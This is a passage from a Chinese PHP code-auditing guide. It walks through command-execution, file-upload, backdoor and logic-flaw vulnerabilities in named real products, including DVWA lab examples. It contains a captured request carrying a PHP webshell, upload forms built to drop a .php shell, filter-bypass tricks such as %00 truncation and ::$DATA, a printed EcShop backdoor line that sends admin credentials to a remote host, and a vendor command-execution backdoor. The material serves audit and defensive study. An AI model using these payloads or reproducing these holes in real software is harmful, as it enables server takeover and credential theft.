第二处命令执行：
文件/base/vpn/download_nodes.php
<?php
$upload_dir = str_replace(";", "",
$_REQUEST['file']);
$upload_file = "nodes";
$fp
=
fopen($upload_dir.$upload_file, "r
");
Header( "Content-type:
application/octet-stream ");
Header( "Accept-Ranges:
bytes ");
Header( "Accept-Length:
".filesize($upload_dir.$upload_file));
- 85 -
Header( "Content-Disposition:
attachment;
filename=".$upload_file);
echo
fread($fp,filesize($upload_dir.$upload_file));
fclose($fp);
exec("rm ".$upload_dir.$upload_file);
exit;
?>
变量 upload_dir 可控，而且还进行了过滤，但是不影响
上海格尔安全认证网关管理系统
命令执行
作者：xfkxfk
文件/kssl/kssl/WEBUI/www/api/service.php
<?php
include_once "../global/common.php";
include_once "../ssl/service_helper.php";
/*
处理 GET 请求
*/
$service_path = $_GET['service_path'];
switch( $_GET['service_action'] )
{
case 'start': {
if ( true ==
start_service($service_path) ) {
$retry_limit = 10;
- 86 -
$state_expected = '已启
动';
WEBUI_log( LOG_INFO, "
启动代理服务$service_path"."成功" );
}
else {
WEBUI_log( LOG_INFO, "
启动代理服务$service_path" );
}
while( $service_path != "" &&
$retry_limit > 0 ) {
$state =
status_service($service_path);
/*
如果 HRP 状态达到
了期望值，则中止重试操作
*/
if( $state ==
$state_expected ) {
break;
}
else {
sleep(1);
$retry_limit--;
}
}
break;
}
case 'stop': {
if ( true ==
stop_service($service_path) ) {
$retry_limit = 10;
$state_expected = '已停
止';
- 87 -
WEBUI_log( LOG_INFO, "
停止代理服务$service_path"."成功" );
}
else {
WEBUI_log( LOG_INFO, "
停止代理服务$service_path" );
}
while( $service_path != "" &&
$retry_limit > 0 ) {
$state =
status_service($service_path);
/*
如果 HRP 状态达到
了期望值，则中止重试操作
*/
if( $state ==
$state_expected ) {
break;
}
else {
sleep(1);
$retry_limit--;
}
}
break;
}
case 'download': {
$proxy =
get_proxy($service_path);
$usermap_url =
$proxy['usermap_url'];
if( WEBUI_exec( "$SSL_DIR/bin/hrp-download-use
rmap.sh $SSL_DIR/cfg/$service_path", true ) ) {
- 88 -
WEBUI_log( LOG_INFO, "
从$usermap_url"."下载代理服务$service_path"."的用户映射策
略成功" );
}
else {
WEBUI_log( LOG_ERR, "从
$usermap_url"."下载代理服务$service_path"."的用户映射策略
失败" );
}
$acl_url = $proxy['acl_url'];
echo "<script
language='JavaScript'>";
if( WEBUI_exec( "$SSL_DIR/bin/hrp-download-acl.
sh $SSL_DIR/cfg/$service_path", true ) ) {
WEBUI_log( LOG_INFO, "
从$acl_url"."下载代理服务$service_path"."的 ACL 策略成功
" );
echo "window.alert(\"激
活策略成功\");";
}
else {
WEBUI_log( LOG_ERR, "从
$acl_url"."下载代理服务$service_path"."的 ACL 策略失败" );
echo "window.alert(\"激
活策略失败\");";
}
echo "window.close();";
echo "</script>";
break;
}
case 'user': {
- 89 -
if ( '已启动' !=
status_service($service_path) ) {
echo "服务未启动";
break;
}
$proxy =
get_proxy($service_path);
$mrtg_enable =
$proxy['mrtg_enable'];
$mrtg_ip = $proxy['mrtg_ip'];
$mrtg_port =
$proxy['mrtg_port'];
if ( $mrtg_enable == 'On' ) {
system( "curl
http://$mrtg_ip:$mrtg_port/?ssl" );
}
else {
echo "实时状态查看功能未开
启";
}
break;
}
default:
WEBUI_alert("无效参数：
service_action=".$_GET['service_action']);
}
?>
注意这里的参数$service_path = $_GET['service_path'];
最后$service_path 进入函数 start_service，stop_service，
status_service
这些函数的定义在文件
/kssl/kssl/WEBUI/www/ssl/service_helper.php，跟进
- 90 -
function start_service( $service_path )
{
global $SSL_DIR;
global $PMONITOR_DIR;
/*
先检查 HRP 的配置文件，再运行 PMonitor，错误
定义见 hrp-can-start.sh 脚本的注释 */
exec( "$SSL_DIR/bin/hrp-can-start.sh
/kssl/HRP/cfg/$service_path 2>&1", $results, $ret );
switch( $ret ) {
case 0:
WEBUI_exec( "$PMONITOR_DIR/bin/PMonitor --run
-f $SSL_DIR/cfg/".$service_path."/PMonitor.conf >
/dev/null", true );
return true;
case 1:
WEBUI_alert( "配置文件不存在，不能启动服
务:" );
return false;
case 2:
WEBUI_alert( "本机现在处于双机热备的待机状
态，不能启动服务" );
return false;
case 3:
WEBUI_alert( "使用了网络配置中不存在的 IP 地
址，不能启动服务" );
return false;
case 4:
WEBUI_alert( "监听的端口已经被其他程序所使
用，不能启动服务" );
return false;
case 5:
WEBUI_exec( "$SSL_DIR/bin/hrp-can-start.sh
- 91 -
/kssl/HRP/cfg/$service_path 2>&1", true, "配置文件不完整,
或者进行了错误配置" );
return false;
}
}
function stop_service( $service_path )
{
global $SSL_DIR;
global $PMONITOR_DIR;
WEBUI_exec( "$PMONITOR_DIR/bin/PMonitor --kill
-f $SSL_DIR/cfg/".$service_path."/PMonitor.conf",
true );
}
function status_service( $service_path )
{
global $PMONITOR_DIR;
exec( "$PMONITOR_DIR/bin/PMonitor -l | grep
\"HRP_$service_path \" | awk -F= '{print $3}'", $results,
$ret );
switch( $results[0] ) {
case "":
return "已停止";
case "NORMAL":
return "已启动";
case "INIT":
case "RETRYING":
return "启动中";
}
}
- 92 -
由于 status_service 函数中命令有双引号保护，双引号被转义，导致
利用失败
文件/kssl/kssl/WEBUI/www/global/common.php
function WEBUI_exec( $cmd, $show_err = false, $note =
'' )
{
exec( $cmd, $results, $ret );
if( $ret != 0 ) {
if( $show_err ) {
$err = '执行 '.$cmd.' 命令失败';
foreach ( $results as
$err_line ) {
//2007-5-8 yanhm bugfix for 0005289:错误信息太多 +{{
//错误信息中删去命令帮助信
息
if ( strncmp($err_line,
"Usage", 5) != 0 )
break;
//}}
$err = $err.',
'.$err_line;
}
- 93 -
WEBUI_alert( "$note:$err" );
}
return false;
}
return true;
}
最终进入了 exec 中，导致命令执行
所以当 service_action=start 和 service_action=stop 时存在两处命
令执行漏洞
文件上传漏洞
在网站的运营过程中，不可避免地要对网站的某些页面或者内容
进行更新，这时便需要使用到网站的文件上传的功能。如果不对被上
传的文件进行限制或者限制被绕过，该功能便有可能会被利用于上传
可执行文件、脚本到服务器上，进而进一步导致服务器沦陷。
- 94 -
导致文件上传的漏洞的原因较多，主要包括以下几类：
1.
服务器配置不当
2.
开源编辑器上传漏洞
3.
本地文件上传限制被绕过
4.
过滤不严或被绕过
5.
文件解析漏洞导致文件执行
6.
文件路径截断
服务器配置不当
当服务器配置不当时，在不需要上传页面的情况下便可导致任意文件
上传
开源编辑器上传漏洞
很多开源的编辑器历史上都有不同的上传漏洞，包括但不只限于
CKEditor,CKEditor 的文件上传漏洞
本地文件上传限制被绕过
只在客户端浏览器上做了文件限制而没有在远程的服务器上做限
制，只需要修改数据包就
可以轻松绕过限制。
过滤不严或被绕过
有些网站上使用了黑名单过滤掉了一些关键的可执行文件脚本后
缀等，但黑名单不全或者被绕过，导致可执行脚本文件被上传到服务
器上，执行。
如在服务器后端过滤掉了后缀为.php 的文件，但并没有过滤掉.php3
等其他可执行文件脚本后缀，攻击者就可以上传带有其他的可执行文
件脚本本后缀的恶意文件到服务器上。
常用的一些可执行的文件脚本的后缀
php
php2
php3
php5
phtml
asp
aspx
ascx
jsp jspx
在某些情况下由于管理员错误的服务器配置（将.html 后缀的文件使用
- 95 -
php 进行解析等）会导致.html、.xml 等静态页面后缀的文件也可被执
行。
在上传文件保存磁盘为 NTFS 格式时可通过::$DATA 绕过黑名单限制
有时服务器只对第一个被上传的文件进行了检查，这时通过同时上传
多个文件并将恶意文件掺杂进其中也可绕过服务器的过滤。
文件解析漏洞导致文件执行
当服务器上存在文件解析漏洞时，合法的文件名便可导致带有恶意代
码的文件被执行
文件路径截断
在上传的文件中使用一些特殊的符号，使得文件被上传到服务器中时
路径被截断从而控制文件路径。
常用的进行文件路径截断的字符如下
\0?%00
在可以控制文件路径的情况下，使用超长的文件路径也有可能会导致
文件路径截断。
任意上传漏洞原理
由于文件上传功能实现代码没有严格限制用户上传的文件后缀以
及文件类型，导致允许攻击者向某个可通过 Web 访问的目录上传任
意 PHP 文件，并能够将这些文件传递给 PHP 解释器，就可以在远程
服务器上执行任意 PHP 脚本。
任意文件上传漏洞实例:
以下代码会处理上传的文件，并将它们移到 Web 根目录下的一
个目录中。
攻击者可以将任意的 PHP 源文件上传到该程序中，并随后从服务器中
请求这些文件，会在远程服务器上执行恶意文件。
- 96 -
<?PHP
if(isset($_POST["form"])){
$uploadfile = "upfiles/".$_FILES['upfile']['name'];
move_uploaded_file($_FILES['upfile']['tmp_name'], $uploadf
ile);//没有检查文件类型就直接上传
print_r($_FILES);
die();
}
?>
即使程序将上传的文件存储在一个无法通过 Web 访问的目录中，攻
击者仍然有可能通过向服务器环境引入恶意内容来发动其他攻击。 如
果程序容易出现文件包含漏洞，那么攻击者就可能上传带恶意内容的
文件，并利用另一种漏洞促使程序读取或执行该文件，形成“二次攻
击”。
文件上传案例
PHP 文件上传通常会使用 move_uploaded_file，也可以找到文
件上传的程序进行具体分析
一套 web 应用程序，一般都会提供文件上传的功能，方便来访者
上传一些文件。
下面是一个简单的文件上传表单
<form action="upload.php" method="post" enctype="multipa
rt/form-data" name="form1">
<input type="file" name="file1" /><br />
<input type="submit" value="上传文件" />
<input type="hidden" name="MAX_FILE_SIZE" value="1024" /
>
</form>
php 的配置文件 php.ini，其中选项 upload_max_filesize 指定允许上
传的文件大小，默认是 2M
- 97 -
$_FILES 数组变量
PHP 使用变量$_FILES 来上传文件，$_FILES 是一个数组。如果上传
test.txt，那么$_FILES 数组的内容为：
$FILES
Array
{
[file] => Array
{
[name] => test.txt //文件名称
[type] => text/plain //MIME 类型
[tmp_name] => /tmp/php5D.tmp //临时文件
[error] => 0 //错误信息
[size] => 536 //文件大小，单位字节
}
}
如果上传文件按钮的 name 属性值为 file
<input type="file" name="file" />
那么使用$_FILES['file']['name']来获得客户端上传文件名称，不包含
路径。使用$_FILES['file']['tmp_name']来获得服务端保存上传文件的
临时文件路径
存放上传文件的文件夹
PHP 不会直接将上传文件放到网站根目录中，而是保存为一个临时文
件，名称就是$_FILES['file']['tmp_name']的值，开发者必须把这个临
时文件复制到存放的网站文件夹中。
$_FILES['file']['tmp_name']的值是由 PHP 设置的，与文件原始名称不
一样，开发者必须使用$_FILES['file']['name']来取得上传文件的原始
名称。
上传文件时的错误信息
$_FILES['file']['error']变量用来保存上传文件时的错误信息，它的值如
下：
- 98 -
错误信息
数值
说 明
UPLOAD_ERR_OK
0
没有错误
UPLOAD_ERR_INI_SIZE
1
上传文件的大小超过 php.ini 的设置
UPLOAD_ERR_FROM_SIZE
2
上传文件的大小超过 HTML 表单中 MAX_FILE_SIZE
的值
UPLOAD_ERR_PARTIAL
3
只上传部分的文件
UPLOAD_ERR_NO_FILE
4
没有文件上传
文件上传漏洞
如果提供给网站访问者上传图片的功能，那必须小心访问者上传
的实际可能不是图片，而是可以指定的 PHP 程序。如果存放图片的目
录是一个开放的文件夹，则入侵者就可以远程执行上传的 PHP 文件来
进行攻击。
下面是一个简单的文件上传例子：
<?php // 设置上传文件的目录
$uploaddir = "D:/www/images/";
// 检查 file 是否存在
if (isset($_FILES['file1']))
{
// 要放在网站目录中的完整路径，包含文件名
$uploadfile = $uploaddir . $_FILES['file1']['name'];
// 将服务器存放的路径，移动到真实文件名
move_uploaded_file($_FILES['file1']['tmp_name'], $uploadfile);
} ?> ……
<form method="post" enctype="multipart/form-data" name="
form1">
<input type="file" name="file1" /><br />
<input type="submit" value="上传文件" />
- 99 -
<input type="hidden" name="MAX_FILE_SIZE" value="1024" /
>
</form>
这个例子没有检验文件后缀，可以上传任意文件，很明显的上传漏洞
《DVWA 的分析与测试 7(File Upload)》
信息来源于：CodeSec Team
直接看 low 把
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/
uploads/";
$target_path = $target_path . basename( $_FILES['uploa
ded']['name']);
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'],
$target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
?>
- 100 -
可谓 远古时代的代码了，直接上传 php 马
看 Medium 把
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/
uploads/";
$target_path = $target_path . basename($_FILES['uploa
ded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_s
ize < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_nam
e'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
- 101 -
High 级代码依然是 白名单思路过滤
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/
uploads/";
$target_path = $target_path . basename($_FILES['uploa
ded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($upl
oaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" ||
$uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($u
ploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_nam
e'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
}
- 102 -
?>
MIME 类型
<form action="up2.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
<?php
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000)) {
if ($_FILES["file"]["error"] > 0) {
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else {
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("./" . $_FILES["file"]["name"])) {
echo $_FILES["file"]["name"] . " already exists. ";
}
else {
move_uploaded_file($_FILES["file"]["tmp_name"],
"./" . $_FILES["file"]["name"]);
echo "Stored in: " . "./" . $_FILES["file"]["name"];
}
- 103 -
}
}
else {
echo "Invalid file";
}
?>
在这个脚本中，我们增加了对文件上传的限制。用户只能上
传 .gif 或 .jpeg 文件，需要浏览器提供该信息的支持
用 BS 抓包 如下：
POST /up2.php HTTP/1.1
Host: 5.5.5.2
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/2010010
1 Firefox/4.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://5.5.5.2/up2.php
Content-Type:multipart/form-data; boundary=------------------
---------6537129554217994941264651983
Content-Length: 359
-----------------------------6537129554217994941264651983
Content-Disposition: form-data; name="file"; filename="1.gif"
Content-Type: image/gif
<?php system($_GET['cmd']); ?>
-----------------------------6537129554217994941264651983
- 104 -
Content-Disposition: form-data; name="submit"
Submit
-----------------------------6537129554217994941264651983--
防范方式：
1. 使用白名单方式检测文件后缀
2. 上传之后按时间能算法生成文件名称
3. 上传目录脚本文件不可执行
4. 注意%00 截断
中国联通客服平台任意文件上传
作者：only_guest
- 105 -
/**
* uploadFlash.php
* Flash 文件上传.
*/
require_once('../global.inc.php');
//operateId=1 上传,operateId=2 获取地址.
$operateId = intval($_REQUEST['operateId']);
if(empty($operateId)) exit;
if($operateId == 1){
$date = date("Ymd");
$dest = $CONFIG->basePath."data/files/".$date."/";
$COMMON->createDir($dest);
//if (!is_dir($dest)) mkdir($dest, 0777);
$nameExt =
strtolower($COMMON->getFileExtName($_FILES['Filedata']['name']));
$allowedType = array('jpg', 'gif', 'bmp', 'png', 'jpeg');
if(!in_array($nameExt, $allowedType)){
$msg = 0;
}
if(empty($msg)){
$filename = getmicrotime().'.'.$nameExt;
$file_url =
urlencode($CONFIG->baseUrl.'data/files/'.$date."/".$filename);
$filename = $dest.$filename;
if(empty($_FILES['Filedata']['error'])){
move_uploaded_file($_FILES['Filedata']['tmp_name'],$filename);
}
- 106 -
if (file_exists($filename)){
//$msg = 1;
$msg = $file_url;
@chmod($filename, 0444);
}else{
$msg = 0;
}
}
$outMsg = "fileUrl=".$msg;
$_SESSION["eoutmsg"] = $outMsg;
exit;
}else if($operateId == 2){
$outMsg = $_SESSION["eoutmsg"];
if(!empty($outMsg)){
session_unregister("eoutmsg");
echo '&'.$outMsg;
exit;
}else{
echo "&fileUrl=0";
exit;
}
}
function getmicrotime(){
list($usec, $sec) = explode(" ",microtime());
return ((float)$usec + (float)$sec);
}
?>
存在逻辑错误.可以导致任意文件上传.
- 107 -
用友 ICC 网站客服系统任意文件上传漏洞
作者：Jannock
/home/ecccs/web/5107/upload/screenImagesSave.php(相关上
传的也同样有)
<?php
/**
* screenImagesSave.php
*
*/
require_once('../global.inc.php');
//get request.
$ft = intval($_REQUEST['ft']);
/*
chdir($CONFIG["canned_file_tmp"]);
exec("rm -rf *");
*/
$date = date("Ymd");
$dest = $CONFIG->basePath.'data/files/'.$date."/";
if (!is_dir($dest))
mkdir($dest, 0777);
$filename = paramsFmt(urldecode($_GET["filename"]));
$nameExt =
strtolower($COMMON->getFileExtName($_FILES['file']['
name']));
$unallowedType = array('php', 'jsp', 'asp', 'sh', 'pl',
'js', 'jar', 'jad', 'class', 'java');
if(in_array($nameExt, $unallowedType)){
if($ft == '1'){
echo 'pe';
- 108 -
}else if($ft == '2'){
echo 'fe';
}
exit;
}
/*
if (empty($filename)) $filename =
date("Ymdhms")."_noname.file";
echo $date."/".$filename;
*/
$filenameNew = $dest.$filename;
if(empty($_FILES["file"]['error'])){
move_uploaded_file($_FILES["file"]["tmp_name"]
,$filenameNew);
}
if(file_exists($filenameNew)){
echo(urlencode($CONFIG->baseUrl.'data/files/'.
$date."/".$filename));
@chmod($filenameNew, 0444);
}else{
if($ft == '1'){
echo 'pe';
}else if($ft == '2'){
echo 'fe';
}
}
?>
注意到 filename 没有？有验证上传文件的类型，但保存的文件名却
为：filename GET 的参数。
<form id="QuickSearch" name="QuickSearch"
enctype="multipart/form-data" method="post"
- 109 -
action="http://xxx.xxxx.com/5107/upload/screenImagesSave.p
hp?filename=xx.php">
<input type="file" name="file">
<input type="submit" name="QuickSearchBtn" value="上传">
</form>
上传一个 jpg 的图片木马，即上传成功为 xx.php 的马。
泛微 Eoffice 任意文件上传
作者：Bear baby
1.文件位置：/webservice/upload.php。相关代码如下：
<?php
include_once( "inc/utility_all.php" );
$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );
$extension = $pathInfor['extension'];
$role = UPLOADROLE;
$attachmentID = createfiledir( );
global $ATTACH_PATH;
$path = $ATTACH_PATH.$attachmentID;
if ( !file_exists( $path ) )
{
mkdir( $path, 448 );
}
$attachmentName = $_FILES['file']['tmp_name'];
$fileName = $path."/".$_FILES['file']['name'];
$fileName = iconv( "UTF-8", "GBK", $fileName );
move_uploaded_file( $_FILES['file']['tmp_name'],
$fileName );
if ( !file_exists( $fileName ) )
- 110 -
{
echo "false";
}
else
{
echo $fileName;
echo
$attachmentID."*".$_FILES['file']['name'];
}
?>
没有做任何限制直接上传，文件名为原文件名，文件路径如下
$path = $ATTACH_PATH.$attachmentID
$fileName = $path."/".$_FILES['file']['name'];
构造上传表单如下：
<form action="http://网站地址/webservice/upload.php"
form enctype="multipart/form-data"
method="POST">
<input name="file" type="file">
<input name="" type="submit">
</form>
2.文件位置：inc/jquery/uploadify/uploadify.php 相关代码如下
<?php
function createFileDir( )
{
global $ATTACH_PATH;
mt_srand( ( double )microtime( ) * 1000000 );
$RADOM_ID = mt_rand( ) +
mt_rand( );
- 111 -
if
( !file_exists( $ATTACH_PATH.$RADOM_ID ) )
{
return
$RADOM_ID;
}
else
{
}
}
if ( !empty( $_FILES ) )
{
$tempFile =
$_FILES['Filedata']['tmp_name'];
$attachmentID =
createfiledir( );
$uploadPath =
$_REQUEST['uploadPath'];
if ( trim( $uploadPath )
== "" )
{
}
else
{
$target
}
if
( !file_exists( $targetPath ) )
{
mkdir(
}
- 112 -
$targetFile =
str_replace( "//", "/",
$targetPath )."/".$_FILES['Filedata']['name'];
move_uploaded_file( $tempFile, iconv( "UTF-8",
"GBK", $targetFile ) );
echo $attachmentID;
}
?>
也是没有任意过滤，文件名为原文件名，可直接上传 shell。
$targetPath =
$uploadPath."/sent/attachment/".$attachmentID;
$targetFile = str_replace( "//", "/",
$targetPath )."/".$_FILES['Filedata']['name'];
- 113 -
后门
EcShop 官方补丁存后门
作者：未知
我们的网站 ecshop 有点二次开发，所以每次升级补丁都要对比下修
改，结果这次对比发现了个大问题，官方的补丁文件内有段后门代码，目
前来看应该是截订单的人留得，黑暗啊！
反向分析了后门源码，找到了黑客的服务器，目测已经大量电商沦陷，我
的妈呀！Ecshop 你叫我们小站长肿么办！！
补丁是 273utf8_patch006 ，包我幸运的保留下来了，提供给乌云管理
放到网盘给厂商和安全研究人员分析。
问题出在 /admin/privilege.php 中（管理员身份验证文件），登录成
功设置身份认证信息前，一个 file_get_content 函数，怪不得会绕过之
前一些大牛们的分析。
stat privilege.php
16777218 43425476 -rw-r--r-- 1 root root 0 25952 "Jun
4 19:16:09 2013" "May
6 14:18:36 2013" "Jun
4 18:59:14
2013" "May
6 14:18:36 2013" 4096 56 0 privilege.php
@file_get_contents('http://**.**.**.**/api/manyou/ec
shop/w2.php?username='.$_POST['username'].'&password
='.$_POST['password'].'---'.$_SERVER['REMOTE_ADDR'].
'---'.date('Y-m-d|H:i:s').'---'.$_SERVER['HTTP_HOST']
.$_SERVER['PHP_SELF']);
// 登录成功
- 114 -
set_admin_session($row['user_id'],
$row['user_name'], $row['action_list'],
$row['last_login']);
这个代码将管理员用户名、密码、IP、时间和后台地址等信息通通的发到
远程接口上，http://**.**.**.**/api/manyou/ecshop/w2.php
这个地址直接访问没什么，当我访问 ecshop 这个目录的时候发现居然
可以目录遍历，还有一个 ok.php 文件
panabit 高危漏洞合集
作者：f4ckbaidu
0x03 官方后门
panaos#cat /usr/ramdisk/www/sys/cmdhandle.php
<?php
$doc = $_SERVER['DOCUMENT_ROOT'];
$cmd = $_POST["cmd"];
$type = $_POST['type'];
if ($type == "get"){
$ds = explode(' ', $cmd);
$fp = popen($cmd, "r");
if (!$fp){
echo "命令执行失败";
exit(0);
}
if (is_file($ds[1]) && !file_exists($ds[1])){
- 115 -
echo "file no found\n";
exit(0);
}
$str = "";
while(! feof($fp)){
$s = htmlspecialchars(fgets($fp));
$s = str_replace("\n", "<br/>", $s);
if ($s == "\n") continue;
$str .= " ".$s;
}
echo iconv("gb2312", "utf-8", $str);
exit(0);
}
if ($type == "viget"){
$ds = explode(' ', $cmd);
$fp = popen($cmd, "r");
if (!$fp){
echo "命令执行失败";
exit(0);
}
if (is_file($ds[1]) && !file_exists($ds[1])){
echo "file no found\n";
exit(0);
}
$str = "";
while(! feof($fp)){
$s = (fgets($fp));
if ($s == "\n") continue;
$str .= $s;
}
echo iconv("gb2312", "utf-8", $str);
exit(0);
}
- 116 -
if ($type == "save"){
$con = urldecode($_POST['con']);
if (!is_file($cmd)){
echo "该文件不可编辑";
exit(0);
}
$fp = fopen($cmd, "w");
if (!$fp){
echo "打开文件失败";
exit(0);
}
fwrite($fp, $con);
fclose($fp);
echo "操作成功";
}
这个也没什么好说的，官方自己留的命令执行、文件读写后门，以命令执
行为例：
- 117 -
逻辑错误
Espcms 后台逻辑验证错误漏洞
作者：Code_Sec
系统后台权限逻辑校验存在问题，导致后台某模块功能被绕过和非授
权访问
后台管理员权限校验在文件\public\class_connector.php:
function admin_purview() {
if ($this->fun->accept('archive', 'R')
== 'filemanage' && $this->fun->accept('action', 'R') ==
'batupfilesave') {
$ecisp_admininfo =
$this->fun->accept('ecisp_admininfo', 'G');
- 118 -
$esp_powerlist =
$this->fun->accept('esp_powerlist', 'G');
$gettype = false;
} else {
$ecisp_admininfo =
$this->fun->accept('ecisp_admininfo', 'C');
$esp_powerlist =
$this->fun->accept('esp_powerlist', 'C');
$gettype = true;
}
$arr_purview = explode('|',
$this->fun->eccode($ecisp_admininfo, 'DECODE',
db_pscode));
$this->esp_powerlist = explode('|',
$this->fun->eccode($esp_powerlist, 'DECODE',
db_pscode));
list($this->esp_adminuserid,
$this->esp_username, $this->esp_password,
$this->esp_useragent, $this->esp_powerid,
$this->esp_inputclassid, $this->esp_softurl) =
$arr_purview;
if ($gettype) {
if (empty($this->esp_username)
|| empty($this->esp_adminuserid) || md5(admin_AGENT) !=
$this->esp_useragent || md5(admin_ClassURL) !=
$this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
} else {
- 119 -
if (empty($this->esp_username)
|| empty($this->esp_adminuserid) ||
md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
}
if ($condition == 0) {
if
($this->fun->accept('archive', 'R') != 'adminuser' &&
$this->fun->accept('action', 'R') != 'login') {
header('location:
index.php?archive=adminuser&action=login');
exit();
}
} else {
if ($condition == 1 &&
$this->fun->accept('point', 'R') == '' &&
$this->fun->accept('archive', 'R') == '' &&
$this->fun->accept('action', 'R') == '') {
header('location:
index.php?archive=management&action=tab&loadfun=mang
ercenter&out=tabcenter');
exit();
}
}
逻辑校验存在问题:
if ($condition == 0) {
if ($this->fun->accept('archive', 'R') != 'adminuser' &&
$this->fun->accept('action', 'R') != 'login') {
header('location: index.php?archive=adminuser&action=login');
- 120 -
exit();
}
当 archive=adminuser,但是 action 变量不等于 login 时就不会被跳
转到登录页。但是在文件 adminsoft\control\adminuser.php 中
function onlogin() {
parent::start_template();
if ($this->fun->accept('logoutid', 'C')
== 1) {
$this->ectemplates->assign('systemTitle',
$this->lng['adminuser_login_lout_error']);
$this->fun->setcookie('logoutid', 0);
} else {
$this->ectemplates->assign('systemTitle',
$this->lng['adminuser_login_login_error']);
}
$this->ectemplates->display('login');
}
function onlogin_into() {
include_once admin_ROOT .
'/public/class_seccode.php';
list($new_seccode, $expiration) =
explode("\t",
$this->fun->eccode($_COOKIE['ecisp_seccode'],
'DECODE'));
$code = new seccode();
$code->seccodeconvert($new_seccode);
parent::start_template();
$db_table = db_prefix . "admin_member";
- 121 -
$linkURL = $_SERVER['HTTP_REFERER'];
还可以调用该类的其他方法，如方法 onlogin_into()
**.**.**.**/adminsoft/index.php?archive=adminuser&acti
on=login_into
也就是可以调用 adminuser.php 这个后台文件的其他功能。
cmseasy 逻辑缺陷可升级普通用户为管理
员
作者：menmen519
user_act.php(130-155):
if (front::post('submit')) {
if (front::post('username') &&
front::post('password')) {
$username = front::post('username');
$password =
md5(front::post('password'));
$data = array(
'username' => $username,
'password' => $password,
);
$user = new user();
$row = $user->getrow(array('username' =>
$data['username'], 'password' => $data['password']));
- 122 -
if (!is_array($row)) {
$this->login_false();
return;
}
$post[$classname] =
session::get('openid');
$this->_user->rec_update($post,
'userid=' . $row['userid']);
cookie::set('login_username',
$row['username']);
cookie::set('login_password',
front::cookie_encode($row['password']));
session::set('username',
$row['username']);
front::redirect(url::create('user'));
return;
} else {
$this->login_false();
return;
}
}
第一步 我们注册一个为 test 密码为 111111 的用户
然后发送 url：
http://localhost/uploads/index.php?case=user&act=respon
d&ologin_code=groupid
postdata:
username=test&password=111111&submit=xxx
第二步：
$post[$classname] = session::get('openid');
- 123 -
这里 我们给$post 传递进去了 groupid 但是有个问题
session::get('openid') 并不存在 所以执行后 test 用户的
groupid 为 0
那么下来我们在继续找一下
line 157-172:
include_once
ROOT.'/lib/plugins/ologin/'.$classname.'.php';
$ologinobj = new $classname();
$status = $ologinobj->respond();
//var_dump(session::get('openid'));exit;
$where[$classname] = session::get('openid');
if(!$where[$classname])
front::redirect(url::create('user'));
$user = new user();
$data = $user->getrow($where);
if(!$data){
$this->view->data = $status;
}else{
cookie::set('login_username',$data['username']);
cookie::set('login_password',front::cookie_encode($d
ata['password']));
session::set('username',$data['username']);
front::redirect(url::create('user'));
}
这里我们看看是不是要写 session 其他的认证信息 我们都忽略 我们
只关心这里的 openid 生效不 可控不
当$classname 为 alipaylogin.php 时候 我们跟进去
function respond() {
ini_set("display_errors","On");
- 124 -
$where =
array('ologin_code'=>front::$get['ologin_code']);
$ologins =
ologin::getInstance()->getrows($where);
$ologin =
unserialize_config($ologins[0]['ologin_config']);
//var_dump($ologin);
$aliapy_config['partner'] =
$ologin['alipaylogin_id'];
$aliapy_config['key'] =
$ologin['alipaylogin_key'];
$aliapy_config['return_url'] =
ologin::url(basename(__FILE__,'.php'));
$aliapy_config['sign_type']
= 'MD5';
$aliapy_config['input_charset']= 'utf-8';
$aliapy_config['transport']
= 'http';
$aliapy_config['cacert']
=
getcwd().'/lib/plugins/alipayauth/cacert.pem';
//var_dump($aliapy_config);
unset($_GET['case']);unset($_GET['act']);unset($_GET
['ologin_code']);unset($_GET['site']);
require_once("alipayauth/alipay_notify.class.php");
$alipayNotify = new
AlipayNotify($aliapy_config);
//var_dump($alipayNotify);
